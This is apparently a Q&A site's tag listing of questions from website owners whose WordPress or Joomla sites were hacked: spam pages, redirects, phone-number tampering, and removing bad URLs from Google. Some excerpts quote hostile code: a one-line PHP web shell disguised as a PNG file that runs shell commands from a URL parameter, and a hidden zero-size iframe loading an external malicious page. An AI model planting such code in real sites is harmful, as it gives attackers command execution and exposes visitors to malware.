Questions tagged [hacked-site]
Use this tag when a website has been compromised by an attacker. Typically an attacker may insert spammy pages, redirect visitors to external sites affiliated with the attacker, or otherwise exploit the site for their own gain.
38
questions
2
votes
1
answer
56
views
Primary phone number on website keeps auto-changing to a different number
Last week, a co-worker/client of mine emailed me to tell me that she noticed the primary phone number on our website had changed. Nobody on the team has touched that phone number, and neither had I, ...
1
vote
2
answers
558
views
My Websites were hacked - how to remove virus?
I help my parents run their appliance repair business. They have a few websites in GoDaddy which use Wordpress. Recently I noticed they have been hacked. If someone goes to the website through Google, ...
- 111
2
votes
1
answer
126
views
How long until Google correctly indexes a site that had been hacked?
A couple of weeks ago my WordPress site suffered a conditional redirection hack:
While I can browse my website without any problem, my Home appears in the Google Search results with spam data, the ...
- 121
1
vote
1
answer
66
views
My website got hijacked, how do I ask search engines to remove the bad webpages
Today I discovered that 2 days ago my websites got hijacked. A tonne (maybe hundreds/thousands) of new pages were created on my domain that redirected to some Chinese websites. I have since then ...
- 11
7
votes
3
answers
497
views
Shall I submit sitemap containing all the bad (now 404) URLs after the spam URL hack?
Earlier this month, one of my sites got hacked and an attacker created near 1 million spam URLs. The site has been fixed relatively fast, however, after one month Google search results still shows ...
- 419
2
votes
2
answers
198
views
Ensure that all pharma URLs are removed from Google after cleaning up from a hacked site
My client's website was hacked by a "pharma hack" which was a WORDPRESS website. Since then we reworked the website(design and logic) and it's a completely new website that is no longer ...
- 23
4
votes
1
answer
123
views
Backdoor exploit - could they have downloaded files from server?
Due to a customer running old Wordpress plugins, a php file with the following code was added to their website:
‰PNG
<?php $str = $_GET['cmd']; system($str); ?>
The above file was detected by ...
- 384
0
votes
0
answers
12
views
Ads suspended due to malicious software [duplicate]
All the ads for my website have been disapproved last week due to malicious (third party) software. I checked the whole website and noticed the third party script on the header section related to ...
0
votes
1
answer
55
views
Three of my Wordpress sites got hacked, trying to understand how and how to prevent it [closed]
Today I noticed three of my WordPress sites were hacked and were redirecting visitors to other sites. It took me a while to figure out what exactly was changed. Apparently, "siteurl" and &...
- 101
1
vote
1
answer
116
views
My XML sitemap contains spam content, while the HTML sitemap is not. What can I do?
My website just recovered from an attack. I find out that my XML sitemap still contains spam contents:
<url>
<loc>http://xn--qucu-hr5aza.com/7pwclknq****hux0rx.so</loc>
<lastmod&...
- 594
1
vote
3
answers
49
views
Google Search Console still reporting spammy keywords on our site even after cleaning up a hack
Just before the previous Christmas our website was hacked, and our Christmas present was some files put on our server and a redirect to an online pharmacy selling viagra! Happy Christmas us! Luckily ...
- 11
1
vote
1
answer
41
views
Google Console Live Test shows me spammy html with Japanese characters
I believe my website was hacked. When I run a page through the google data structured testing tool, I get a spammy version of my page. The first thing I did was to restore the site from a backup from ...
- 215
1
vote
0
answers
2k
views
Phone number on wordpress website magically being changed to different number [closed]
I have a very strange problem on the website of a client of mine.
It's a wordpress website I have designed with a child theme of the Leisure theme. I have coded a couple of simple plugins to suit ...
- 19
1
vote
1
answer
42
views
How can I confirm if my security review request has been submitted properly in Google Search Console?
I submitted a security review request in Google Search Console after my website was hacked but I can see no confirmation anywhere that the issue is pending a review.
The only way I can get a message ...
- 145
1
vote
2
answers
281
views
Remove hacked url from google index not working
I keep getting hacked url's index by google when i type site:mydomain.com.au
My site was hacked previously (was using wordpress). Now it uses JavaScript (React/Node) and built from scratch and hosted ...
- 131
1
vote
0
answers
129
views
Is it safe to give write permission to index.php file?
Today I accidentally gave write permission to my index.php file to using sudo chmod +x index.php. I don't know what permission it had before.
My index.php contains a php script for collecting number ...
- 19
3
votes
2
answers
73
views
How to force a view of meta data as Google or Bing sees it?
I'm having an extremely peculiar problem with a site (WordPress) that just suddenly started exhibiting an issue where Japanese is showing up for all the metadata in Google and Bing - only:
Google:
...
- 217
1
vote
1
answer
76
views
Hacked site created foreign language tags pages, can we block them in robots.txt to remove them from Google?
Our WordPress website was hacked which is now revamped and updated to the WP v5.0.3 but still Tags and 35fc4a-50164960-421910 or 6d285b-31601402-365308 type URLs are indexed in Google.
Can we block ...
- 11
1
vote
2
answers
493
views
My WP site was hacked. How do i find cloaked content and redirects?
Right before christmas i noticed that my website suddenly had a steep drop off in users. Once I got to the bottom of things it turned out that google delisted me because my website had been hacked via ...
- 257
6
votes
2
answers
1k
views
These files aren't on my server. How are they showing in Google Analytics?
I'm trying to understand how this is possible. The screenshot below shows two page views. both are .html files, but my site has ZERO .html files in it. My site also does not have a /h/ directory.
...
- 187
2
votes
0
answers
40
views
Why am I receiving request with h/randomNumber.html
Recently, I've been receiving request spikes from requests of the form
example.com/h/<randomNumber>.html
Each time the random number is consistent (per 24 hours). On Google analytics I'll ...
- 121
0
votes
1
answer
27
views
Is it possible to bulkly remove faulty pages from google search console?
Due to error in my sitemap after a hack event, so many non-existing pages were listed in my site map which google tried to index them. Currently these pages are not present in my sitemap anymore, but ...
- 103
7
votes
2
answers
3k
views
Mysterious ico files appearing on webserver
Files are unexpectedly appearing on one of my shared web servers. They can appear in pretty much hundreds of directories and they are always called something like favicon_1166f9.ico. The first 6 ...
- 5,987
1
vote
2
answers
190
views
Site was hacked months ago. How do i remove created pages from googles listings
My site was hacked about 4-6 months ago and as a result lots of pages were created on my site. These pages no longer exist and were removed a week after the hack but they still exist in googles search ...
- 257
3
votes
1
answer
883
views
Indexing Japanese links after hack
A few months ago our website got hacked, similar to what seems to be described in the following - https://developers.google.com/webmasters/hacked/docs/fixing_the_japanese_keyword_hack
We fixed the ...
2
votes
2
answers
1k
views
Hacked website had it's SEO compromised, after recovery, google still index new corrupted URLs
A WordPress website was hacked using old-plugin-version vulnerabilities.
The result of the hack was that index.php redirected Google to a Chinese website and hence the original SEO was corrupted but ...
- 121
0
votes
1
answer
208
views
"This site may be hacked" google result on Wordpress page [closed]
My problem is that when I search for my site on google (a Wordpress page), it shows the correct web address, but clicking the link redirects to a site selling Windows keys.
However, if I actually ...
4
votes
1
answer
3k
views
After site was hacked, how to remove foreign pages from Google's Index?
I'm dealing with a site that was hacked a while back. Google indexed thousands of pages using JAPANESE results. I have used my robots file to disallow everything except the pages that actually exist ...
- 153
2
votes
1
answer
486
views
Google reports URL injection - but the reported URL returns a 404 even when fetched as Google
Yesterday we found out that in Google Search, the website is reported as
"This site may be hacked."
It is a Joomla website. In webmasters tools there is a report for URL Injections. There is only ...
- 375
2
votes
1
answer
305
views
How long will Google take to index our site correctly after cleaning up a pharmaceutical hack?
I help make edits to a hockey association website. It was recently hacked and now in Google search it shows pharmaceutical info for titles and page info, and then takes it to a pharmaceutical site, or ...
2
votes
1
answer
3k
views
Remove hacked URLs from Google Search
My client's site shows "This site may be hacked" in Google's search result.
I restored the website, installed security plugins, scanned and removed all possible issues and requested Google for a ...
5
votes
2
answers
3k
views
How to make a WP site read only
I have a WP site that was hacked, I have an old copy that I used and the site hacked again on another server, I suspect this copy have a trojan horse in it which created new folder for phishing. What ...
- 71
1
vote
2
answers
463
views
How to fix some damages from site hack?
My site had been hacked. I found the vulnerability, fixed it, and removed shell scripts.
But the hacker had uploaded thousands of web pages on my web server. After I removed those pages I got over 4 ...
- 288
5
votes
3
answers
789
views
Black index/default page with "Hacked by..." in every folder
I host multiple domains with this very popular hosting provider and I just went into one of my sites and … I see a black page with the message "Hacked by...". I checked and all my sites with the ...
- 153
1
vote
1
answer
132
views
Hackers replaced my WordPress homepage
I forgot to remove the default admin/admin account on my blog. Somebody got in and has replaced my homepage with some internet graffiti.
I've used .htaccess to replace the page with a 403 error, but ...
- 113
2
votes
3
answers
407
views
Hacker crawler inserting iframe into file
Somehow, a "hacker crawler" is constantly inserting a harmful iframe element into one of my files:
<iframe src="http://miaspieces.vv.cc/showthread.php?t=70830633" width="0" height="0"></...
- 23
2
votes
3
answers
2k
views
My WordPress site has been attacked, it says "Reported Attack Page!"
Three days back my website ganapatihegde.com has been hacked/attacked by some hacker. Now, when anyone tries to see my website, it says "Reported Attack Page!".
I am using a server provided by Free ...
Gpathy
1
vote
3
answers
307
views
Attacker added "/modules/com_gcalendar" to my Joomla site
Someone hacked into our servers. Not sure when. They have created this folder /public_html/modules/com_gcalendar and some files in it.
Any one of you had the same attack? Any findings?
